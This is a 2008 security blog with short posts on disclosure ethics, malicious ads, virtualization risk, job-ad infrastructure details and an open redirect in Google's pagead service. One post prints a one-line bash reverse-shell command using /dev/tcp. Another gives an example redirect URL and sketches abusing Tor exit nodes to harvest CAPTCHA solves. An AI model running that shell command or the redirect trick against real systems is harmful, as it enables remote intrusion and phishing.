05.08.08
Posted in IT, Security at 3:57 pm by Tyler Reguly
I read this today on a local news site and the only thought that went through my head was "wow"... Essentially a malicious individual hacked the Epilepsy Foundation's website and posted hundreds of rapidly flashing images. While I don't condone it... I can understand why people think they should target websites for profit or pride... but this? It's just plain mean... It makes me wonder what the world is coming to.
Update: Apparently this is old news and I'm a little slow finding out about it.
Permalink
Digg this post
Posted in IT, Security at 10:04 am by Tyler Reguly
There were a couple of random things that I wanted to comment on.
The first was a post by Dave Lewis of Liquidmatrix. The post in question is a discussion of a Wonderware advisory released by Core Security and the level of detail that they provided. Dave doesn't agree with the level of detail provided... as they had details on how to exploit the vulnerability and even showed the assembly from the vulnerable function. He also comments that this isn't responsible disclosure. I'm <sarcasm>really glad to see this debate is coming up again</sarcasm>... but really where's the lack of responsible disclosure? Core reported the vulnerability to the vendor (repeatedly) and went out of their way to ensure the vendor was aware, this is more than a lot of people / companies do. They then continually pushed their advisory release date to accommodate the company. These details are being released after the patch as well.
There's absolutely nothing wrong with this... it's really no different from the level of detail provided by other security vendors that release advisories. Once the patch is out there isn't much to stop malicious individuals from obtaining the assembly to the vulnerable function... a copy of IDA Pro and BinDiff is really all they need. Outside of the assembly... the level of detail provided is really the same as most other security vendors that release advisories. I've seen them include some sort of binary analysis in the past... and most of them contain a text write-up... here's an example with enough text to more than locate the vulnerability from TippingPoint / ZDI:
The specific flaw exists in the oninit.exe process that listens by default on TCP port 1526. During authentication, the process does not validate the length of the supplied user password. An attacker can provide a overly long password and overflow a stack based buffer resulting in arbitrary code execution.
Part of the problem with the InfoSec battle is that the bad guys have essentially unlimited time, where as IS employees have families and lives and work a set schedule. The Core advisory has set internal security teams on their way to developing their own exploits should they need to, without it they'd have had a lot more work to do and it would have taken them more time. Core did everything short of release the related Python and you can't really blame them, since then they'd be giving away their product for free. In the end, what they did was, in my opinion, beneficial to all.
It's one thing to simply release details, but as soon as someone works with the vendor you can't really cry foul when they publish the details. At least not on the 'responsible disclosure' front... because they've followed responsible disclosure and in this case Core Security hasn't done anything different then a number of vendors. Microsoft Tuesday is coming up and watch the mailing lists, each vendor that has reported a vuln usually sends out some sort of advisory and these range from brief overviews to full binary analysis and specific details on exploiting the vulnerability. We've seen it before and we'll see it again... but the patch is out, so they aren't helping the malicious individuals... just the good guys who have time constraints.
Permalink
Digg this post
04.22.08
Posted in IT, Security at 9:52 am by Tyler Reguly
I don't have much to add, simply details from the original post. Spyware Sucks has a post up documenting some malicious flash that is being served from LiveJournal.com (from one of their banner ads). Just thought I should share to keep people informed.
Permalink
Digg this post
04.21.08
Posted in IT, Security at 10:31 pm by Tyler Reguly
I've been kinda quiet here the last few days... That being said I've been posting quite a bit on the nCircle VERT blog. I decided that I wouldn't cross post between blogs and I won't post links to CDO on the nCircle blog for no reason, however I will post links to the nCircle blog on here...
In the past few days I've posted these stories on the nCircle blog... feel free to give them a read:
I've got a couple interesting blog posts in the works, that will most likely show up here in the near future... but for now there's something to read.
Permalink
Digg this post
04.17.08
Posted in IT, Security at 3:07 pm by Tyler Reguly
This is really cool... Neohapsis has a great blog post on how a one line bash shell command can create a reverse shell (via Infosec Ramblings).
Think about all those times when you needed a single command line to create a reverse shell... this will do it:
exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
That's it.. plain and simple and you're done... no need for any outside tools...just the ability to run built in shell commands.
Permalink
Digg this post
04.15.08
Posted in IT, Security at 4:11 pm by Tyler Reguly
This isn't a new topic... McAfee mentioned it a couple of weeks ago, and it appeared in a ha.ckers.org comment almost 2 years ago.
It seems that Google Page Ad (http://www.google.com/pagead) can be abused as a redirect. This redirect won't work blindly, certain variables require certain values. However those variables aren't validated... I can generate a valid redirect, and then substitute in any url I want and it will still work. I've been noticing more and more spam lately making use of this, and it leads me to wonder why Google, with all their power (and I am a huge Google fan), can't get the validation right to ensure that this issue stops.
Here's an example URL... however in this case, I've removed the spammers address and inserted ComputerDefense.org: http://www.google.com/pagead/iclk?sa=l&ai=JqenDy&num=08582&adurl=http://www.computerdefense.org
Update:
In thinking this through more, I thought I should add to it. This redirect requires certain information... without the ai and num fields, the redirect won't work. All Google has to do is tie these fields to a specific URL, they don't even need the redirect URL included anymore... They could validate and redirect based on data they retrieve while validating the request.
Permalink
Digg this post
03.23.08
Posted in IT, Security at 3:00 pm by Tyler Reguly
A discussion elsewhere got me thinking about this, and some quick googling didn't turn anything up. If there are already write-ups on this, I would love if people could point me toward them.
Let's say that you are using Tor. When your traffic traverses Tor, it hits an end-point somewhere. That end-point knows that it is your end-point. Now, I'm a malicious individual... a spammer who needs CAPTCHAs solved. What do I do? I setup a Tor server and pass you my CAPTCHAs to solve. I don't believe it would be that difficult to inject CAPTCHAs into the mix. Your Tor connection comes into the server, but outbound HTTP passes through a proxy... this proxy is designed to display CAPTCHAs.
As I said, maybe this has already been discussed elsewhere, and maybe Tor even has protections against it. Either way, I'm really surprised that you don't hear about this more often. I've read about people paying to have CAPTCHAs solved... the only cost associated with this would be bandwidth. You could even expand on it to save bandwidth. A botnet deploys Tor across several thousand machines... these machines all forward the non-local HTTP traffic to "CAPTCHA proxies".
Since Tor users are accustomed to solving proxies for search engines and other big sites, they may not even notice these CAPTCHAs.
So let me know what you think... Thoughts, ideas, evidence of this, papers on this... it's all good.
Permalink
Digg this post
03.07.08
Posted in IT, Security at 3:48 pm by Tyler Reguly
For people that read my blog and don't read 360 Security, I wanted to share a blog post I recently posted over there. The concept is simple... and previously discussed, however I recently dealt with the result of this new trend and wanted to bring it to the attention of people who are unaware. Essentially certain vendors, to maintain a outward facing look of security, have moved DoS from a vulnerability affecting availability to a stability issue caused by a bug. This leads to incorrect analysis of "how secure" a vendor in a particular space may or may not be. I definitely recommend reading it, but that's probably because I wrote it
.
Permalink
Digg this post
02.25.08
Posted in IT, Security, Vulnerabilities at 7:06 pm by Tyler Reguly
Virtualization. A technology that is supposed to save organizations money... take 10, 20 or even 50 physical servers and run them on a single virtual server. The concept seems to make sense; after all, as someone recently pointed out to me... virtualization has existed in the mainframe world for quite some time. The problem today is that everyone is moving their servers to flawed virtualization software. Flawed software that poses a security risk... a risk that opens the door to ‘hackers' and ‘crackers'.
Even if we ignore some of the vulnerabilities that we've seen in the past 12 months, we can look at the ones that came out only a few days ago. Vulnerabilities in Samba, Python and a SCSI driver, all of which ship with VMWare ESX Server, were published/announced and while VMWare has issued patches, there was a period when these vulnerabilities introduced a new threat into any environments utilizing the software.
Everyone (primarily the virtualization companies) keeps talking about how great virtualization is, but how many people are actually weighing the security risks. In every IT prediction blog for 2008 we saw mention of virtualization and virtualization security.... this means the security people are thinking about it, but how about the enterprise world... are their IT staffs considering it?
I'm a big fan and I'm hoping we'll see VMWare ESX 3i introduce a new level of security, being a 32MB hypervisor we'll hopefully see limited vectors of attack. That doesn't mean that we won't see people continue to run ESX 2.x and ESX 3.x, after all ESX 3.x can still be purchased.
I also have to wonder how people prioritize the installation of virtualization software patches. If the hardware is responsible for 20 virtual servers, how willing are people to risk applying a patch that might have issues. This is why enterprises have patch testing cycles before they implement them... Even if people are willing to install the patches, how often are they aware that there ESX server needs patches installed? Do they monitor the updates, do they receive email notifications? Even when they do find out, do they act on the provided information? I've seen internet facing Exchange servers more than 2 years behind on their patches, and I've seen Linux systems that have never been patched. Where do people place ESX? First? Second? Third? Does it depend on the systems hosted on the server? I honestly don't know the answers to these questions, but I'd be curious to find out.
Up until this point, I had written this post over the weekend... Seeing as we'd seen a couple of ESX vulnerabilities that are somewhat serious. What made me revisit this post and continue it was the release of a VMWare Workstation vulnerability by Core Technologies. A vulnerability that could have negative impacts on malware researchers that have shared folders enabled. This is another example of a negative impact that virtualization technology has, that a physical installation wouldn't have.
We're rapidly pushing forward with virtualization, but how prepared are we for it? I've noticed there are a couple of VMWare related talks at CanSecWest this year... Yet is anyone outside of the research community seriously thinking about this? I guess we'll have to wait and see.
Permalink
Digg this post
02.23.08
Posted in IT, Security at 1:21 am by Tyler Reguly
Brian Krebs has an interesting article up over on SecurityFix. Entitled, "How Not to Write a 'Geek Wanted' Ad", it discusses companies that identify the hardware / software running within their infrastructure and how this is a bad idea. Now before I disagree entirely with the article, I do want to preface it by saying that I'm a huge fan of SecurityFix and the majority of the articles that Brian writes.
My issue with Brian's posture is that, I think, it's going a step to far. How to we decide what is and isn't useful information to a ‘malicious individual'? Let's think of some of the other things that we could withhold. How about contact information? These could be used for a unique social engineering attempt or even just run of the mill spam/phishing. The same reason could apply to withholding the HR contacts name or even the company name. You do see some job postings with this information missing, just as you see some job postings with job related equipment missing.
Now in the example that Brian mentioned a few things were mentioned: Cisco PIX, Cisco IOS, Norton and McAfee AV, Network Associates packet sniffer. In the end does it matter if an attacker is aware of these? Not really... there are fingerprinting tools available, nmap is a great example, which will attempt to identify what OS is running on a device. A Cisco router or PIX will be easily identified. The AV doesn't matter... not in the long run... the odds of it being exposed outside of the corporate network are minimal meaning outside attackers aren't going to reach it, and someone who's already inside will know what they are looking at. The exception there would be email AV, however they've listed the two most common AV engines available... the odds are pretty good that the company is using one of those anyways. Lastly, the packet sniffer... who cares? It's not going to be running all the time, only to diagnose problems... and if you have access to it, again you probably already have access to the internal network.
If there is any benefit to an attacker from this information... I'd say that it's pretty minimal... definitely less than a 1% increase to the chance of a successful attack occurring. Companies have identified for years that sys admins require experience with Windows, Linux or OS X (depending on the environment), so why is this any different?
Now let's look at the benefit to the company... The hiring process is expensive... that's why hiring agencies, head hunters and websites like NotchUp exist. Providing as many details as possible in the initial job ad seems like a smart idea to me. I'm not in HR but it seems logical that if I post my requirements, fewer people that don't have the requirements will apply. Let's take Mr. X, for example, and say he was looking at the job mentioned at SecurityFix. Mr. X was previously a Windows Network Administrator and had Nortel Routers... he's never performed packet captures and they had Trend Micro... immediately he knows that he's got the right generic skill set (if they had said routers and AV he may have already been sending his resume)... but he realizes he needs to improve his skills in a few areas before applying. This saves both Mr. X and the company's HR department time and, at least in the company's case, money.
I think that today we're too afraid that every little bit of information gives a malicious individual an edge. We have to remember that the edge it gives them needs to be significant before it really starts to matter. Disclosing some information related to your internal infrastructure in a job posting isn't the end of the world... in the grand scheme of things it's so minimal that it's basically nothing. Brian, while you usually write some great stuff... this time you missed the net by quite a bit.
Permalink
Digg this post
« Previous entries